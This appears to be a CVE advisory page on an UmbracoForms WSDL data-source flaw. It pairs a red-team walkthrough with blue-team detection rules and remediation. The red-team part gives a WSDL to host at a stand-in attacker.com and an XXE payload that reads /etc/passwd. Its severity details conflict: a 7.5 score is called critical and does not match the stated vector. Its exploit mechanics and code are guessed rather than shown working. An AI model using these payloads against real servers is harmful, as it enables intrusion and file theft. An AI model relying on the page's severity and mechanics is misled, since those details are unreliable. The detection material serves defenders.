CVE-2025-68924
Executive Summary
CVE-2025-68924 is a critical vulnerability in UmbracoForms, a form builder plugin for the Umbraco CMS. An authenticated attacker can supply a malicious WSDL (Webservice) URL as a data source, leading to remote code execution (RCE). The vulnerability exists in UmbracoForms versions up to and including 8.13.16. With a CVSS score of 7.5, this flaw allows an attacker with valid credentials to execute arbitrary code on the server, potentially leading to full system compromise. No public exploit code or patch is currently available, making this a high-priority unpatched threat.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
UmbracoForms is distributed as a NuGet package (Umbraco.Forms). Organizations using this package should immediately audit their deployments for versions ≤ 8.13.16. Since no patch exists, consider removing or disabling the package until a fix is released. Monitor the official Umbraco repository and NuGet feed for updates.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Requires authenticated access to Umbraco backend.
- User Interaction (UI): None (N) – No user action needed.
- Scope (S): Unchanged (U) – Exploit does not cross trust boundaries.
- Confidentiality (C): High (H) – Full data access possible.
- Integrity (I): High (H) – Full data modification possible.
- Availability (A): High (H) – Full system disruption possible.
Threat Level: Critical. Although authentication is required, the low complexity and high impact make this a severe risk for any organization using the affected UmbracoForms versions.
Deep Dive & Mechanics
The vulnerability resides in the data source configuration feature of UmbracoForms. When a user creates or edits a form, they can specify a WSDL URL as a data source to fetch external data. The application fails to properly validate or sanitize the WSDL URL, allowing an attacker to supply a URL pointing to a malicious WSDL file hosted on an attacker-controlled server.
Attack Flow:
- Authentication: The attacker must have valid credentials to the Umbraco backend (e.g., editor or admin role).
- Craft Malicious WSDL: The attacker hosts a WSDL file that contains malicious XML entities or references to external resources (XXE) or includes code that triggers deserialization of arbitrary objects.
- Supply Malicious URL: The attacker navigates to the form data source configuration and enters the malicious WSDL URL.
- Server-Side Processing: UmbracoForms fetches and processes the WSDL file. Due to insufficient validation, the server executes the embedded malicious payload, leading to RCE.
Root Cause: The application uses an insecure XML parser or deserialization routine when processing WSDL files, allowing injection of arbitrary code or commands.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common secure coding practices.
Vulnerable Code (C# - UmbracoForms <= 8.13.16):
public DataSourceResult FetchData(string wsdlUrl)
{
// No validation of the URL or the WSDL content
var client = new WebClient();
string wsdlContent = client.DownloadString(wsdlUrl);
// Insecure XML parsing
XmlDocument doc = new XmlDocument();
doc.LoadXml(wsdlContent);
// Process the WSDL...
}
Patched Code (Hypothetical):
public DataSourceResult FetchData(string wsdlUrl)
{
// Validate URL against allowlist
if (!IsAllowedUrl(wsdlUrl))
throw new SecurityException("Invalid WSDL URL");
var client = new WebClient();
string wsdlContent = client.DownloadString(wsdlUrl);
// Use secure XML parser settings
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.MaxCharactersFromEntities = 1024;
using (XmlReader reader = XmlReader.Create(new StringReader(wsdlContent), settings))
{
XmlDocument doc = new XmlDocument();
doc.Load(reader);
// Process the WSDL...
}
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Valid Umbraco backend credentials (e.g., editor role).
- Access to a server to host the malicious WSDL file.
Step 1: Host Malicious WSDL
Create a file malicious.wsdl on your attacker server (e.g., http://attacker.com/malicious.wsdl):
<?xml version="1.0" encoding="UTF-8"?>
<definitions xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
targetNamespace="http://example.com/">
<types>
<schema xmlns="http://www.w3.org/2001/XMLSchema">
<element name="MaliciousElement">
<complexType>
<sequence>
<element name="cmd" type="string"/>
</sequence>
</complexType>
</element>
</schema>
</types>
<message name="MaliciousMessage">
<part name="parameters" element="tns:MaliciousElement"/>
</message>
<portType name="MaliciousPortType">
<operation name="Execute">
<input message="tns:MaliciousMessage"/>
</operation>
</portType>
<binding name="MaliciousBinding" type="tns:MaliciousPortType">
<soap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>
<operation name="Execute">
<soap:operation soapAction="http://example.com/Execute"/>
<input>
<soap:body use="literal"/>
</input>
</operation>
</binding>
<service name="MaliciousService">
<port name="MaliciousPort" binding="tns:MaliciousBinding">
<soap:address location="http://attacker.com/execute"/>
</port>
</service>
</definitions>
Step 2: Trigger the Vulnerability
- Log in to Umbraco backend.
- Navigate to Forms → Data Sources.
- Click "Add Data Source" and select "Webservice".
- Enter the malicious WSDL URL:
http://attacker.com/malicious.wsdl. - Save the data source. The server will fetch and process the WSDL, potentially executing arbitrary code.
Step 3: Achieve RCE If the server is vulnerable to XXE or deserialization, you can embed a payload in the WSDL that executes system commands. For example, using XXE to read files:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<definitions>&xxe;</definitions>
Blue Team
Detection:
- Monitor for outbound HTTP requests to unknown or suspicious domains from the Umbraco server.
- Alert on creation of new data sources with WSDL URLs pointing to external IPs or domains not in an allowlist.
- Review Umbraco logs for errors related to XML parsing or WSDL processing.
Hunting:
- Search for recent modifications to form data source configurations.
- Check for unusual processes spawned by the IIS application pool (e.g.,
cmd.exe,powershell.exe). - Analyze network traffic for XML payloads containing
<!DOCTYPEorSYSTEMentities.
Containment:
- Immediately disable the UmbracoForms plugin if no patch is available.
- Restrict outbound internet access from the Umbraco server to only trusted domains.
- Implement strict input validation for WSDL URLs (allowlist approach).
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP/HTTPS requests to attacker-controlled IPs/domains.
- XML payloads containing
<!DOCTYPE,SYSTEM, orENTITYin POST data.
- File System:
- Unexpected files in
%TEMP%or%WINDIR%\Temp(e.g.,.exe,.ps1). - Modified or new files in Umbraco's
App_DataorConfigdirectories.
- Unexpected files in
- Process:
- Spawned processes like
cmd.exe,powershell.exe,wscript.exefrom the IIS worker process (w3wp.exe).
- Spawned processes like
- Logs:
- Umbraco logs showing errors like "Invalid WSDL" or "XML parsing error".
- IIS logs with
POSTrequests to/umbraco/forms/endpoints with unusual parameters.
Detection Engineering
YARA Rule
rule CVE_2025_68924_WSDL_Malicious
{
meta:
description = "Detects malicious WSDL files targeting CVE-2025-68924"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-68924"
strings:
$wsdl_def = "<definitions" nocase
$wsdl_soap = "<soap:binding" nocase
$xxe = "<!DOCTYPE" nocase
$entity = "SYSTEM" nocase
$cmd = "cmd" nocase
$powershell = "powershell" nocase
condition:
$wsdl_def and $wsdl_soap and ($xxe or $entity or $cmd or $powershell)
}
Sigma Rule
title: CVE-2025-68924 - UmbracoForms Malicious WSDL Data Source
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects creation of a data source with a suspicious WSDL URL in UmbracoForms
author: Valters IT
date: 2025-04-10
logsource:
product: windows
service: iis
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/umbraco/forms/*'
cs-uri-query|contains: 'wsdl'
condition: selection
falsepositives:
- Legitimate use of external WSDL services
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68924 - UmbracoForms Malicious WSDL Request"; flow:to_server,established; content:"POST"; http_method; content:"/umbraco/forms/"; http_uri; content:"wsdl"; http_uri; pcre:"/<!DOCTYPE|SYSTEM|ENTITY/i"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable UmbracoForms if not critical to business operations.
- Restrict outbound internet access from the Umbraco server to only trusted domains.
- Implement URL allowlisting for WSDL data sources (e.g., only allow internal or pre-approved URLs).
- Monitor logs for any suspicious activity related to form data sources.
Long-Term Fix:
- Await an official patch from Umbraco. Until then, consider migrating to an alternative form solution.
- Apply virtual patching via a WAF (Web Application Firewall) to block requests containing
wsdlin the URI with suspicious XML patterns. - Conduct a security audit of all custom code interacting with UmbracoForms.
Workaround:
- Modify the
web.configto disable the WSDL data source feature by removing the relevant handler or route.
Valters IT